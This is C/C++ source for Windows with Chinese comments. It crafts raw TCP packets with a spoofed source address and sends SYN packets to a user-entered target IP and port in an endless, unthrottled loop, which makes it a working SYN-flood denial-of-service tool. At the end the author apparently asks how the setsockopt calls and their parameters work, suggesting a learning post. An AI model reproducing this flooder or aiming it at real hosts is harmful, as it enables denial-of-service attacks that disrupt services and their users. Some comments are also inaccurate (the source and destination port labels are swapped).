#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>       //加入WinSock的头文件
#include <WS2TCPIP.h>       //设置IP_HDRINCL需要
#include <time.h>
#pragma comment(lib,"Ws2_32.lib")    //加入库函数
#include <iostream>
using namespace std;
typedef struct //定义IP首部 
{ 
	unsigned char h_verlen; //4位首部长度,4位IP版本号 无符号范围较广在正值
	unsigned char tos; //8位服务类型TOS 
	unsigned short total_len; //16位总长度(字节) 
	unsigned short ident; //16位标识 
	unsigned short frag_and_flags; //3位标志位 
	unsigned char ttl; //8位生存时间 TTL 
	unsigned char proto; //8位协议 (TCP, UDP 或其他) 
	unsigned short checksum; //16位IP首部校验和 
	unsigned int sourceIP; //32位源IP地址 
	unsigned int destIP; //32位目的IP地址 
}IPHEADER; 


typedef struct  //定义TCP首部 
{ 
	USHORT th_sport; //16位源端口 
	USHORT th_dport; //16位目的端口 
	unsigned int th_seq; //32位序列号 
	unsigned int th_ack; //32位确认号 
	unsigned char th_lenres; //4位首部长度/6位保留字 
	unsigned char th_flag; //6位标志位 
	USHORT th_win; //16位窗口大小 
	USHORT th_sum; //16位校验和 
	USHORT th_urp; //16位紧急数据偏移量 
}TCPHEADER; 

typedef struct  //定义TCP伪首部 
{ 
	unsigned long saddr; //源地址 
	unsigned long daddr; //目的地址 
	char mbz; 
	char ptcl; //协议类型 
	unsigned short tcpl; //TCP长度 
}PSDHEADER;

//计算校验和函数    tcp //IP都一样
USHORT checksum(USHORT *buffer, int size)
//1.把校验和字段清零。
//2.然后对每16位(2字节)进行二进制反码求和,反码求和的意思是先对每16位求和,再将得到的和转为反码。
{
	unsigned long cksum=0; 
	while(size >1) 
	{ 
		cksum+=*buffer++; 
		size -=sizeof(USHORT); 
	} 
	if(size ) 
	{ 
		cksum += *(UCHAR*)buffer; 
	} 

	cksum = (cksum >> 16) + (cksum & 0xffff); 
	cksum += (cksum >>16); 
	return (USHORT)(~cksum); 
}

//void packet_input();


main()
{

	WSADATA WSAData;
	if ( WSAStartup(MAKEWORD(2,2), &WSAData)!=0 )
	{
		printf("InitWSAStartup Error!\n");
		return 0;
	}


//////////////////////////////////////////////////////////////////////////
//随机源端口

	int rand_SourcePort;
	srand( (unsigned)time( NULL ) );//随机时间种子
	rand_SourcePort = (int)(3000+2000*rand()/(float)RAND_MAX); //产生3000到5000之间的随机数

//////////////////////////////////////////////////////////////////////////

	char ip[20];
    u_short port;
	
	SOCKET sock; 
	SOCKADDR_IN addr_in;
	IPHEADER ipHeader; 
	TCPHEADER tcpHeader; 
	PSDHEADER psdHeader; 

	char szSendBuf[60]={0}; 
	int nTimeOver;
      //创建套接字      udp
	 sock = socket(AF_INET,SOCK_RAW,0); 

	//设置IP_HDRINCL选项,声明自己填充IP头部
	BOOL blnFlag=TRUE;                             //指针
               //选项定义的层次 需要设置的选项  指向选项值的缓冲区  缓冲区长度
	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&blnFlag, sizeof(blnFlag));

	nTimeOver=1000; 
	setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver));

    cout <<"输入目标ip地址: ";
	gets(ip);//cin>>ip ;
	cout <<"输入目标端口:";
	cin >>port;

	addr_in.sin_family=AF_INET; 
	addr_in.sin_port=htons(port);                 //目标端口
	addr_in.sin_addr.S_un.S_addr=inet_addr(ip);   //目标IP

	while(true)
	{
		printf(".");
        for(int counter=0;counter<10240;counter++)
		{

		//填充IP首部 
		ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
		ipHeader.tos=0; 
		ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));   //16位总长度
		ipHeader.ident=1; 
		ipHeader.frag_and_flags=0; 
		ipHeader.ttl=128;     //8位生存时间TTL
		ipHeader.proto=IPPROTO_TCP; 
		ipHeader.checksum=0; 
		ipHeader.sourceIP=inet_addr("192.168.1.32"); 
		ipHeader.destIP=inet_addr(ip); 

		//填充TCP首部 
		tcpHeader.th_dport=htons(port);   //源端口号
		tcpHeader.th_sport=htons(rand_SourcePort++);  //目的端口号
		tcpHeader.th_seq=htonl(0x12345678);   //SYN序列号
		tcpHeader.th_ack=0;     //ACK序列号置0
		tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);   //tcp长度和保留位
		tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等 
		tcpHeader.th_win=htons(512); 
		tcpHeader.th_urp=0; 
		tcpHeader.th_sum=0;
            //伪tcp
		psdHeader.saddr=ipHeader.sourceIP; 
		psdHeader.daddr=ipHeader.destIP; 
		psdHeader.mbz=0; 
		psdHeader.ptcl=IPPROTO_TCP; 
		psdHeader.tcpl=htons(sizeof(tcpHeader));


		//计算校验和 
		memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
		memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
		tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); 


		memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); //复制函数
		memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
		memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); //替换函数
		ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 


		memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 

		sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
		}
	} //循环结束
	WSACleanup();
	closesocket(sock); 

	return 0;
}

//设置IP_HDRINCL选项,声明自己填充IP头部
	BOOL blnFlag=TRUE;                             //指针
               //选项定义的层次 需要设置的选项  指向选项值的缓冲区  缓冲区长度
	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&blnFlag, sizeof(blnFlag));

	nTimeOver=1000; 
	setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver)); 这段怎么理解呢   包括参数